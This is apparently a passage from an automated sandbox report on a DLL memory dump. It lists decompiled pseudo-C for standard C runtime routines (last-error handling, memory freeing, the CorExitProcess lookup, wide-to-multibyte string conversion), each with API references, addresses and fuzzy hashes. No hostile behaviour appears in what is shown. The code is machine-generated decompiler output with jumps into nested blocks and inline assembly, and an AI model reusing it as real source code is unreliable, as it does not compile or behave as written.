									__eflags = E6E1784C6(__eflags,  *0x6e1bb180, _t28);
									if(__eflags != 0) {
										_t11 = _t28;
										_t28 = 0;
										__eflags = 0;
									} else {
										goto L8;
									}
								}
								L6E178994(_t28);
							} else {
								goto L5;
							}
						}
					}
					SetLastError(_t25);
					return _t11;
				} else {
					return 0;
				}
			}

0x6e17725e
0x6e177271
0x6e177278
0x6e17727b
0x6e17727e
0x6e177297
0x6e177297
0x6e177280
0x6e177280
0x6e177282
0x6e17728c
0x6e177292
0x6e177293
0x6e177295
0x6e17729c
0x6e17729e
0x6e1772a5
0x6e1772a9
0x6e1772ab
0x6e1772bf
0x6e1772bf
0x6e1772c8
0x6e1772ad
0x6e1772bb
0x6e1772bd
0x6e1772d1
0x6e1772d3
0x6e1772d3
0x00000000
0x00000000
0x00000000
0x6e1772bd
0x6e1772d6
0x00000000
0x00000000
0x00000000
0x6e177295
0x6e177282
0x6e1772de
0x6e1772e8
0x6e177260
0x6e177262
0x6e177262

APIs

GetLastError.KERNEL32(00000001,?,6E177155,6E1741DB,6E173DF2,?,6E17400F,?,00000001,?,?,00000001,?,6E1B9148,0000000C,6E174103), ref: 6E177265
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6E177273
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6E17728C
SetLastError.KERNEL32(00000000,6E17400F,?,00000001,?,?,00000001,?,6E1B9148,0000000C,6E174103,?,00000001,?), ref: 6E1772DE

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: b670c4d754c5adb2b3843e7433f5a9137c8eb4e89301ef2776571d8dcc62d72f
Instruction ID: 7c518ebd2ff90f4b131b0b359e481d674c191ea930cfde5a82df3e84fc8d509d
Opcode Fuzzy Hash: b670c4d754c5adb2b3843e7433f5a9137c8eb4e89301ef2776571d8dcc62d72f
Instruction Fuzzy Hash: F501D43221CA266FAE7056F56CC8A9A279CFB02F7AB34822BF530905D4EF9248C07140

Uniqueness

Uniqueness Score: -1.00%

Function 6E17FA06, Relevance: 9.0, APIs: 6, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E6E17FA06(void* __ebx, void* __ecx, void* __edx) {
				void* __edi;
				void* __esi;
				intOrPtr _t2;
				void* _t3;
				void* _t4;
				intOrPtr _t9;
				void* _t11;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t25;
				void* _t27;
				void* _t29;
				void* _t31;
				void* _t32;
				long _t36;
				long _t37;
				void* _t40;

				_t29 = __edx;
				_t23 = __ecx;
				_t20 = __ebx;
				_t36 = GetLastError();
				_t2 =  *0x6e1bb2d0; // 0xffffffff
				_t42 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L2:
					_t3 = E6E17FB55(_t23, 1, 0x364);
					_t31 = _t3;
					_pop(_t25);
					if(_t31 != 0) {
						_t4 = E6E183908(_t25, _t36, __eflags,  *0x6e1bb2d0, _t31);
						__eflags = _t4;
						if(_t4 != 0) {
							E6E17F84C(_t25, _t31, 0x6e2536a8);
							E6E17FBB2(0);
							_t40 = _t40 + 0xc;
							__eflags = _t31;
							if(_t31 == 0) {
								goto L9;
							} else {
								goto L8;
							}
						} else {
							_push(_t31);
							goto L4;
						}
					} else {
						_push(_t3);
						L4:
						E6E17FBB2();
						_pop(_t25);
						L9:
						SetLastError(_t36);
						E6E17D659(_t20, _t29, _t31, _t36);
						asm("int3");
						_push(_t20);
						_push(_t36);
						_push(_t31);
						_t37 = GetLastError();
						_t21 = 0;
						_t9 =  *0x6e1bb2d0; // 0xffffffff
						_t45 = _t9 - 0xffffffff;
						if(_t9 == 0xffffffff) {
							L12:
							_t32 = E6E17FB55(_t25, 1, 0x364);
							_pop(_t27);
							if(_t32 != 0) {
								_t11 = E6E183908(_t27, _t37, __eflags,  *0x6e1bb2d0, _t32);
								__eflags = _t11;
								if(_t11 != 0) {
									E6E17F84C(_t27, _t32, 0x6e2536a8);
									E6E17FBB2(_t21);
									__eflags = _t32;
									if(_t32 != 0) {
										goto L19;
									} else {
										goto L18;
									}
								} else {
									_push(_t32);
									goto L14;
								}
							} else {
								_push(_t21);
								L14:
								E6E17FBB2();
								L18:
								SetLastError(_t37);
							}
						} else {
							_t32 = E6E1838B2(_t25, _t37, _t45, _t9);
							if(_t32 != 0) {
								L19:
								SetLastError(_t37);
								_t21 = _t32;
							} else {
								goto L12;
							}
						}
						return _t21;
					}
				} else {
					_t31 = E6E1838B2(_t23, _t36, _t42, _t2);
					if(_t31 != 0) {
						L8:
						SetLastError(_t36);
						return _t31;
					} else {
						goto L2;
					}
				}
			}

0x6e17fa06
0x6e17fa06
0x6e17fa06
0x6e17fa10
0x6e17fa12
0x6e17fa17
0x6e17fa1a
0x6e17fa28
0x6e17fa2f
0x6e17fa34
0x6e17fa37
0x6e17fa3a
0x6e17fa4c
0x6e17fa51
0x6e17fa53
0x6e17fa5e
0x6e17fa65
0x6e17fa6a
0x6e17fa6d
0x6e17fa6f
0x00000000
0x00000000
0x00000000
0x00000000
0x6e17fa55
0x6e17fa55
0x00000000
0x6e17fa55
0x6e17fa3c
0x6e17fa3c
0x6e17fa3d
0x6e17fa3d
0x6e17fa42
0x6e17fa7d
0x6e17fa7e
0x6e17fa84
0x6e17fa89
0x6e17fa8c
0x6e17fa8d
0x6e17fa8e
0x6e17fa95
0x6e17fa97
0x6e17fa99
0x6e17fa9e
0x6e17faa1
0x6e17faaf
0x6e17fabb
0x6e17fabe
0x6e17fac1
0x6e17fad3
0x6e17fad8
0x6e17fada
0x6e17fae5
0x6e17faeb
0x6e17faf3
0x6e17faf5
0x00000000
0x00000000
0x00000000
0x00000000
0x6e17fadc
0x6e17fadc
0x00000000
0x6e17fadc
0x6e17fac3
0x6e17fac3
0x6e17fac4
0x6e17fac4
0x6e17faf7
0x6e17faf8
0x6e17faf8
0x6e17faa3
0x6e17faa9
0x6e17faad
0x6e17fb00
0x6e17fb01
0x6e17fb07
0x00000000
0x00000000
0x00000000
0x6e17faad
0x6e17fb0e
0x6e17fb0e
0x6e17fa1c
0x6e17fa22
0x6e17fa26
0x6e17fa71
0x6e17fa72
0x6e17fa7c
0x00000000
0x00000000
0x00000000
0x6e17fa26

APIs

GetLastError.KERNEL32(?,?,6E17A016,6E1B9300,0000000C,6E169063,6E1700BE,?,00000001), ref: 6E17FA0A
_free.LIBCMT ref: 6E17FA3D
_free.LIBCMT ref: 6E17FA65
SetLastError.KERNEL32(00000000,6E1B9300,0000000C,6E169063,6E1700BE,?,00000001,?,?,?,?,?,?,?,6E170044), ref: 6E17FA72
SetLastError.KERNEL32(00000000,6E1B9300,0000000C,6E169063,6E1700BE,?,00000001,?,?,?,?,?,?,?,6E170044), ref: 6E17FA7E
_abort.LIBCMT ref: 6E17FA84

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 6a01de15c88e4d66bbb529f3c1ef4dcf6d0239c9615836c1c1ae09ab68c65f0c
Instruction ID: 807851e10e1406ef92ad3c221073a7bd0a6849803593f66cd19ed2807fba2db0
Opcode Fuzzy Hash: 6a01de15c88e4d66bbb529f3c1ef4dcf6d0239c9615836c1c1ae09ab68c65f0c
Instruction Fuzzy Hash: 92F0F9366449056ACE22D6F45C18E9F2A6DBFDAF26F394414F874D3284EF2184C1B120

Uniqueness

Uniqueness Score: -1.00%

Function 6E17E01E, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,6E17DFCF,6E17E0B7,?,6E17DF6F,6E17E0B7,6E1B94E8,0000000C), ref: 6E17E03E
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6E17E051
FreeLibrary.KERNEL32(00000000,?,?,?,6E17DFCF,6E17E0B7,?,6E17DF6F,6E17E0B7,6E1B94E8,0000000C), ref: 6E17E074

Strings

mscoree.dll, xrefs: 6E17E037
CorExitProcess, xrefs: 6E17E049

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 95b5228337176690ac2d8e215fa0244270f2e46c464ace414b21e963b16eea70
Instruction ID: b5f1847d043f6aeb895d3a3584af3339d9768a05845fbeb7d5049f7346a11b7c
Opcode Fuzzy Hash: 95b5228337176690ac2d8e215fa0244270f2e46c464ace414b21e963b16eea70
Instruction Fuzzy Hash: A4F03170A00608BBCF219FA4C819BEE7BB8FB15752F114068E815A6250DB318A94EA54

Uniqueness

Uniqueness Score: -1.00%

Function 6E1828B1, Relevance: 7.7, APIs: 5, Instructions: 222
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E6E1828B1(void* __ebx, void* __edx, void* __edi, void* __esi, char* _a4, short* _a8, int _a12, intOrPtr _a16) {
				signed int _v8;
				char _v16;
				int _v20;
				int _v24;
				char* _v28;
				int _v32;
				char _v36;
				intOrPtr _v44;
				char _v48;
				signed int _t59;
				char* _t61;
				intOrPtr _t63;
				int _t64;
				intOrPtr* _t65;
				signed int _t68;
				intOrPtr* _t71;
				short* _t73;
				int _t74;
				int _t76;
				char _t78;
				short* _t83;
				short _t85;
				int _t91;
				int _t93;
				char* _t98;
				int _t103;
				char* _t105;
				void* _t106;
				intOrPtr _t108;
				intOrPtr _t109;
				int _t110;
				short* _t113;
				int _t114;
				int _t116;
				signed int _t117;

				_t106 = __edx;
				_t59 =  *0x6e1bb164; // 0x55e3ddbb
				_v8 = _t59 ^ _t117;
				_t61 = _a4;
				_t91 = _a12;
				_t116 = 0;
				_v28 = _t61;
				_v20 = 0;
				_t113 = _a8;
				_v24 = _t113;
				if(_t61 == 0 || _t91 != 0) {
					if(_t113 != 0) {
						E6E179118(_t91,  &_v48, _t106, _a16);
						_t98 = _v28;
						if(_t98 == 0) {
							_t63 = _v44;
							if( *((intOrPtr*)(_t63 + 0xa8)) != _t116) {
								_t64 = WideCharToMultiByte( *(_t63 + 8), _t116, _t113, 0xffffffff, _t116, _t116, _t116,  &_v20);
								if(_t64 == 0 || _v20 != _t116) {
									L55:
									_t65 = E6E17BB7E();
									_t114 = _t113 | 0xffffffff;
									 *_t65 = 0x2a;
									goto L56;
								} else {
									_t53 = _t64 - 1; // -1
									_t114 = _t53;
									L56:
									if(_v36 != 0) {
										 *(_v48 + 0x350) =  *(_v48 + 0x350) & 0xfffffffd;
									}
									goto L59;
								}
							}
							_t68 =  *_t113 & 0x0000ffff;
							if(_t68 == 0) {
								L51:
								_t114 = _t116;
								goto L56;
							}
							while(_t68 <= 0xff) {
								_t113 =  &(_t113[1]);
								_t116 = _t116 + 1;
								_t68 =  *_t113 & 0x0000ffff;
								if(_t68 != 0) {
									continue;
								}
								goto L51;
							}
							goto L55;
						}
						_t108 = _v44;
						if( *((intOrPtr*)(_t108 + 0xa8)) != _t116) {
							if( *((intOrPtr*)(_t108 + 4)) != 1) {
								_t114 = WideCharToMultiByte( *(_t108 + 8), _t116, _t113, 0xffffffff, _t98, _t91, _t116,  &_v20);
								if(_t114 == 0) {
									if(_v20 != _t116 || GetLastError() != 0x7a) {
										L45:
										_t71 = E6E17BB7E();
										_t116 = _t116 | 0xffffffff;
										 *_t71 = 0x2a;
										goto L51;
									} else {
										if(_t91 == 0) {
											goto L56;
										}
										_t73 = _v24;
										while(1) {
											_t109 = _v44;
											_t103 =  *(_t109 + 4);
											if(_t103 > 5) {
												_t103 = 5;
											}
											_t74 = WideCharToMultiByte( *(_t109 + 8), _t116, _t73, 1,  &_v16, _t103, _t116,  &_v20);
											_t93 = _a12;
											_t110 = _t74;
											if(_t110 == 0 || _v20 != _t116 || _t110 < 0 || _t110 > 5) {
												goto L55;
											}
											if(_t110 + _t114 > _t93) {
												goto L56;
											}
											_t76 = _t116;
											_v32 = _t76;
											if(_t110 <= 0) {
												L43:
												_t73 = _v24 + 2;
												_v24 = _t73;
												if(_t114 < _t93) {
													continue;
												}
												goto L56;
											}
											_t105 = _v28;
											while(1) {
												_t78 =  *((intOrPtr*)(_t117 + _t76 - 0xc));
												 *((char*)(_t105 + _t114)) = _t78;
												if(_t78 == 0) {
													goto L56;
												}
												_t76 = _v32 + 1;
												_t114 = _t114 + 1;
												_v32 = _t76;
												if(_t76 < _t110) {
													continue;
												}
												goto L43;
											}
											goto L56;
										}
										goto L55;
									}
								}
								if(_v20 != _t116) {
									goto L45;
								}
								_t28 = _t114 - 1; // -1
								_t116 = _t28;
								goto L51;
							}
							if(_t91 == 0) {
								L21:
								_t116 = WideCharToMultiByte( *(_t108 + 8), _t116, _t113, _t91, _t98, _t91, _t116,  &_v20);
								if(_t116 == 0 || _v20 != 0) {
									goto L45;
								} else {
									if(_v28[_t116 - 1] == 0) {
										_t116 = _t116 - 1;
									}
									goto L51;
								}
							}
							_t83 = _t113;
							_v24 = _t91;
							while( *_t83 != _t116) {
								_t83 =  &(_t83[1]);
								_t16 =  &_v24;
								 *_t16 = _v24 - 1;
								if( *_t16 != 0) {
									continue;
								}
								break;
							}
							if(_v24 != _t116 &&  *_t83 == _t116) {
								_t91 = (_t83 - _t113 >> 1) + 1;
							}
							goto L21;
						}
						if(_t91 == 0) {
							goto L51;
						}
						while( *_t113 <= 0xff) {
							_t98[_t116] =  *_t113;
							_t85 =  *_t113;
							_t113 =  &(_t113[1]);
							if(_t85 == 0) {
								goto L51;
							}
							_t116 = _t116 + 1;
							if(_t116 < _t91) {
								continue;
							}
							goto L51;
						}
						goto L45;
					}
					 *((intOrPtr*)(E6E17BB7E())) = 0x16;
					E6E178929();
					goto L59;
				} else {
					L59:
					return E6E173D51(_v8 ^ _t117);
				}
			}

0x6e1828b1
0x6e1828b9
0x6e1828c0
0x6e1828c3
0x6e1828c7
0x6e1828cb
0x6e1828cd
0x6e1828d0
0x6e1828d4
0x6e1828d7
0x6e1828dc
0x6e1828eb
0x6e18290b
0x6e182910
0x6e182915
0x6e182ab2
0x6e182abb
0x6e182aed
0x6e182af5
0x6e182b01
0x6e182b01
0x6e182b06
0x6e182b09
0x00000000
0x6e182afc
0x6e182afc
0x6e182afc
0x6e182b0f
0x6e182b13
0x6e182b18
0x6e182b18
0x00000000
0x6e182b1f
0x6e182af5
0x6e182abd
0x6e182ac3
0x6e182adb
0x6e182adb
0x00000000
0x6e182adb
0x6e182aca
0x6e182acf
0x6e182ad2
0x6e182ad3
0x6e182ad9
0x00000000
0x00000000
0x00000000
0x6e182ad9
0x00000000
0x6e182aca
0x6e18291b
0x6e182924
0x6e18295e
0x6e1829d7
0x6e1829db
0x6e1829f1
0x6e182aa2
0x6e182aa2
0x6e182aa7
0x6e182aaa
0x00000000
0x6e182a06
0x6e182a08
0x00000000
0x00000000
0x6e182a0e
0x6e182a11
0x6e182a11
0x6e182a14
0x6e182a1a
0x6e182a1e
0x6e182a1e
0x6e182a30
0x6e182a36
0x6e182a39
0x6e182a3d
0x00000000
0x00000000
0x6e182a62
0x00000000
0x00000000
0x6e182a68
0x6e182a6a
0x6e182a6f
0x6e182a8f
0x6e182a92
0x6e182a95
0x6e182a9a
0x00000000
0x00000000
0x00000000
0x6e182aa0
0x6e182a71
0x6e182a74
0x6e182a74
0x6e182a78
0x6e182a7d
0x00000000
0x00000000
0x6e182a86
0x6e182a87
0x6e182a88
0x6e182a8d
0x00000000
0x00000000
0x00000000
0x6e182a8d
0x00000000
0x6e182a74
0x00000000
0x6e182a11
0x6e1829f1
0x6e1829e0
0x00000000
0x00000000
0x6e1829e6
0x6e1829e6
0x00000000
0x6e1829e6
0x6e182962
0x6e182988
0x6e18299b
0x6e18299f
0x00000000
0x6e1829af
0x6e1829b7
0x6e1829bd
0x6e1829bd
0x00000000
0x6e1829b7
0x6e18299f
0x6e182964
0x6e182966
0x6e182969
0x6e18296e
0x6e182971
0x6e182971
0x6e182975
0x00000000
0x00000000
0x00000000
0x6e182975
0x6e18297a
0x6e182987
0x6e182987
0x00000000
0x6e18297a
0x6e182928
0x00000000
0x00000000
0x6e182933
0x6e18293e
0x6e182941
0x6e182944
0x6e18294a
0x00000000
0x00000000
0x6e182950
0x6e182953
0x00000000
0x00000000
0x00000000
0x6e182955
0x00000000
0x6e182933
0x6e1828f2
0x6e1828f8
0x00000000
0x6e1828e2
0x6e182b21
0x6e182b31
0x6e182b31

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01895a72037837c0b3c02e9e60a6dea1980760705a9e0260ff58101fe5b5136f
Instruction ID: 5e8eebb6fa271133fe08e251d4118683daed50bb6baedcdf9079ca5c26cac879
Opcode Fuzzy Hash: 01895a72037837c0b3c02e9e60a6dea1980760705a9e0260ff58101fe5b5136f
Instruction Fuzzy Hash: E671A131A012179FDB238FD5C884AAFBB79FF56350F254629E82167284D77188C1EFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6E181BFD, Relevance: 7.7, APIs: 5, Instructions: 187
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E6E181BFD(void* __ecx, intOrPtr __edx, void* __eflags, intOrPtr _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v36;
				signed int _v40;
				intOrPtr _v44;
				struct _STARTUPINFOW* _v56;
				char _v276;
				short _v278;
				short _v280;
				char _v448;
				signed int _v452;
				signed int _v456;
				short _v458;
				intOrPtr _v460;
				intOrPtr _v464;
				signed int _v468;
				signed int _v472;
				intOrPtr _v508;
				char _v536;
				signed int _v540;
				intOrPtr _v544;
				signed int _v556;
				char _v708;
				signed int _v712;
				signed int _v716;
				short _v718;
				signed int* _v720;
				signed int _v724;
				signed int _v728;
				signed int _v732;
				signed int* _v736;
				signed int _v740;
				signed int _v744;
				signed int _v748;
				signed int _v752;
				char _v820;
				char _v1248;
				char _v1256;
				intOrPtr _v1276;
				signed int _v1292;
				short _v1350;
				char _v1400;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t259;
				void* _t262;
				signed int _t265;
				signed int _t267;
				signed int _t273;
				signed int _t274;
				signed int _t275;
				signed int _t276;
				signed int _t277;
				signed int _t279;
				signed int _t281;
				void* _t283;
				signed int _t284;
				signed int _t285;
				signed int _t286;
				signed int _t288;
				signed int _t291;
				signed int _t298;
				signed int _t299;
				signed int _t300;
				intOrPtr _t301;
				signed int _t304;
				signed int _t308;
				signed int* _t309;
				struct _STARTUPINFOW* _t311;
				signed int _t315;
				signed int _t316;
				signed int _t322;
				signed int _t325;
				signed int _t326;
				signed int _t328;
				signed int _t348;
				signed int _t349;
				signed int _t352;
				signed int _t357;
				void* _t359;
				signed int _t361;
				void* _t362;
				intOrPtr _t363;
				signed int _t368;
				signed int _t369;
				intOrPtr* _t372;
				signed int _t386;
				signed int _t388;
				signed int _t390;
				intOrPtr* _t391;
				intOrPtr* _t393;
				signed int _t394;
				LPWSTR* _t396;
				signed int _t402;
				intOrPtr* _t406;
				intOrPtr* _t409;
				void* _t412;
				intOrPtr* _t413;
				intOrPtr* _t414;
				void* _t425;
				signed int _t429;
				signed int _t432;
				intOrPtr* _t433;
				signed int _t435;
				signed int* _t439;
				intOrPtr* _t446;
				intOrPtr* _t447;
				intOrPtr _t456;
				signed int _t457;
				short _t458;
				void* _t460;
				signed char _t461;
				signed int _t463;
				signed int _t464;
				signed int _t466;
				intOrPtr _t467;
				signed int _t470;
				intOrPtr _t471;
				signed int _t473;
				signed int _t475;
				signed int _t478;
				void* _t480;
				intOrPtr _t484;
				signed int _t485;
				signed int _t487;
				signed int _t488;
				signed int* _t489;
				signed int _t492;
				signed int _t494;
				signed int _t496;
				signed int _t500;
				signed int* _t501;
				intOrPtr* _t502;
				short _t503;
				signed int _t505;
				signed int _t506;
				void* _t508;
				void* _t509;
				signed int _t510;
				void* _t511;
				void* _t512;
				signed int _t513;
				void* _t515;
				void* _t516;
				intOrPtr _t529;

				_t456 = __edx;
				_v12 = 1;
				_t386 = E6E17FBEC(__ecx, 0x6a6);
				_t258 = 0;
				_t402 = _t480;
				if(_t386 == 0) {
					L20:
					return _t258;
				} else {
					_t2 = _t386 + 4; // 0x4
					_t466 = _t2;
					 *_t466 = 0;
					 *_t386 = 1;
					_t484 = _a4;
					_t4 = _t484 + 0x30; // 0x6e18145e
					_t259 = _t4;
					_push( *_t259);
					_v16 = _t259;
					_push(0x6e1afa74);
					_push( *0x6e1af92c);
					E6E181B3C(_t386, _t402, _t466, _t484, _t466, 0x351, 3);
					_t509 = _t508 + 0x18;
					_v8 = 0x6e1af92c;
					while(1) {
						L2:
						_t262 = E6E18BAEB(_t466, 0x351, 0x6e1afa70);
						_t510 = _t509 + 0xc;
						if(_t262 != 0) {
							break;
						} else {
							_t8 = _v16 + 0x10; // 0x10
							_t446 = _t8;
							_t368 =  *_v16;
							_v16 = _t446;
							_t447 =  *_t446;
							goto L4;
						}
						while(1) {
							L4:
							_t456 =  *_t368;
							if(_t456 !=  *_t447) {
								break;
							}
							if(_t456 == 0) {
								L8:
								_t369 = 0;
							} else {
								_t456 =  *((intOrPtr*)(_t368 + 2));
								if(_t456 !=  *((intOrPtr*)(_t447 + 2))) {
									break;
								} else {
									_t368 = _t368 + 4;
									_t447 = _t447 + 4;
									if(_t456 != 0) {
										continue;
									} else {
										goto L8;
									}
								}
							}
							L10:
							asm("sbb eax, eax");
							_t402 = _v8 + 0xc;
							_v8 = _t402;
							_v12 = _v12 &  !( ~_t369);
							_t372 = _v16;
							_v16 = _t372;
							_push( *_t372);
							_push(0x6e1afa74);
							_push( *_t402);
							E6E181B3C(_t386, _t402, _t466, _t484, _t466, 0x351, 3);
							_t509 = _t510 + 0x18;
							if(_v8 < 0x6e1af95c) {
								goto L2;
							} else {
								if(_v12 != 0) {
									E6E17FBB2(_t386);
									_t31 = _t484 + 0x28; // 0x30ff068b
									_t475 = _t466 | 0xffffffff;
									__eflags =  *_t31;
									if(__eflags != 0) {
										asm("lock xadd [ecx], eax");
										if(__eflags == 0) {
											_t32 = _t484 + 0x28; // 0x30ff068b
											E6E17FBB2( *_t32);
										}
									}
									_t33 = _t484 + 0x24; // 0x30ff0c46
									__eflags =  *_t33;
									if( *_t33 != 0) {
										asm("lock xadd [eax], edi");
										__eflags = _t475 == 1;
										if(_t475 == 1) {
											_t34 = _t484 + 0x24; // 0x30ff0c46
											E6E17FBB2( *_t34);
										}
									}
									 *(_t484 + 0x24) = 0;
									 *(_t484 + 0x1c) = 0;
									 *(_t484 + 0x28) = 0;
									 *((intOrPtr*)(_t484 + 0x20)) = 0;
									_t39 = _t484 + 0x40; // 0x10468b00
									_t258 =  *_t39;
								} else {
									_t20 = _t484 + 0x28; // 0x30ff068b
									_t478 = _t466 | 0xffffffff;
									_t529 =  *_t20;
									if(_t529 != 0) {
										asm("lock xadd [ecx], eax");
										if(_t529 == 0) {
											_t21 = _t484 + 0x28; // 0x30ff068b
											E6E17FBB2( *_t21);
										}
									}
									_t22 = _t484 + 0x24; // 0x30ff0c46
									if( *_t22 != 0) {
										asm("lock xadd [eax], edi");
										if(_t478 == 1) {
											_t23 = _t484 + 0x24; // 0x30ff0c46
											E6E17FBB2( *_t23);
										}
									}
									 *(_t484 + 0x24) =  *(_t484 + 0x24) & 0x00000000;
									_t26 = _t386 + 4; // 0x4
									_t258 = _t26;
									 *(_t484 + 0x1c) =  *(_t484 + 0x1c) & 0x00000000;
									 *(_t484 + 0x28) = _t386;
									 *((intOrPtr*)(_t484 + 0x20)) = _t258;
								}
								goto L20;
							}
							goto L146;
						}
						asm("sbb eax, eax");
						_t369 = _t368 | 0x00000001;
						__eflags = _t369;
						goto L10;
					}
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E6E178956();
					asm("int3");
					_t505 = _t510;
					_t511 = _t510 - 0x1d0;
					_t265 =  *0x6e1bb164; // 0x55e3ddbb
					_v56 = _t265 ^ _t505;
					_t267 = _v40;
					_push(_t386);
					_push(_t484);
					_t485 = _v36;
					_push(_t466);
					_t467 = _v44;
					_v508 = _t467;
					__eflags = _t267;
					if(_t267 == 0) {
						_v456 = 1;
						_v468 = 0;
						_t388 = 0;
						_v452 = 0;
						__eflags = _t485;
						if(__eflags == 0) {
							L79:
							E6E181BFD(_t402, _t456, __eflags, _t467);
							goto L80;
						} else {
							__eflags =  *_t485 - 0x4c;
							if( *_t485 != 0x4c) {
								L58:
								_push(0);
								_t273 = E6E1817C5(_t388, _t456, _t467, _t485, _t485,  &_v276, 0x83,  &_v448, 0x55); // executed
								_t512 = _t511 + 0x18;
								__eflags = _t273;
								if(_t273 != 0) {
									_t402 = 0;
									__eflags = 0;
									_t76 = _t467 + 0x20; // 0x6e18144e
									_t457 = _t76;
									_t487 = 0;
									_v452 = _t457;
									do {
										__eflags = _t487;
										if(_t487 == 0) {
											L73:
											_t274 = _v456;
										} else {
											_t406 =  *_t457;
											_t275 =  &_v276;
											while(1) {
												__eflags =  *_t275 -  *_t406;
												_t467 = _v464;
												if( *_t275 !=  *_t406) {
													break;
												}
												__eflags =  *_t275;
												if( *_t275 == 0) {
													L66:
													_t402 = 0;
													_t276 = 0;
												} else {
													_t458 =  *((intOrPtr*)(_t275 + 2));
													__eflags = _t458 -  *((intOrPtr*)(_t406 + 2));
													_v458 = _t458;
													_t457 = _v452;
													if(_t458 !=  *((intOrPtr*)(_t406 + 2))) {
														break;
													} else {
														_t275 = _t275 + 4;
														_t406 = _t406 + 4;
														__eflags = _v458;
														if(_v458 != 0) {
															continue;
														} else {
															goto L66;
														}
													}
												}
												L68:
												__eflags = _t276;
												if(_t276 == 0) {
													_t388 = _t388 + 1;
													__eflags = _t388;
													goto L73;
												} else {
													_t277 =  &_v276;
													_push(_t277);
													_push(_t487);
													_push(_t467); // executed
													L83(); // executed
													_t457 = _v452;
													_t512 = _t512 + 0xc;
													__eflags = _t277;
													if(_t277 == 0) {
														_t402 = 0;
														_t274 = 0;
														_v456 = 0;
													} else {
														_t388 = _t388 + 1;
														_t402 = 0;
														goto L73;
													}
												}
												goto L74;
											}
											asm("sbb eax, eax");
											_t276 = _t275 | 0x00000001;
											_t402 = 0;
											__eflags = 0;
											goto L68;
										}
										L74:
										_t487 = _t487 + 1;
										_t457 = _t457 + 0x10;
										_v452 = _t457;
										__eflags = _t487 - 5;
									} while (_t487 <= 5);
									__eflags = _t274;
									if(__eflags != 0) {
										goto L79;
									} else {
										__eflags = _t388;
										goto L77;
									}
								}
								goto L80;
							} else {
								__eflags =  *((short*)(_t485 + 2)) - 0x43;
								if( *((short*)(_t485 + 2)) != 0x43) {
									goto L58;
								} else {
									__eflags =  *((short*)(_t485 + 4)) - 0x5f;
									if( *((short*)(_t485 + 4)) != 0x5f) {
										goto L58;
									} else {
										while(1) {
											_t279 = E6E18BC88(_t485, 0x6e1afa68);
											_t390 = _t279;
											_v472 = _t390;
											_pop(_t408);
											__eflags = _t390;
											if(_t390 == 0) {
												break;
											}
											_t281 = _t279 - _t485;
											__eflags = _t281;
											_v456 = _t281 >> 1;
											if(_t281 == 0) {
												break;
											} else {
												_t283 = 0x3b;
												__eflags =  *_t390 - _t283;
												if( *_t390 == _t283) {
													break;
												} else {
													_t470 = _v456;
													_t391 = 0x6e1af92c;
													_v460 = 1;
													do {
														_t284 = E6E17EC13( *_t391, _t485, _t470);
														_t511 = _t511 + 0xc;
														__eflags = _t284;
														if(_t284 != 0) {
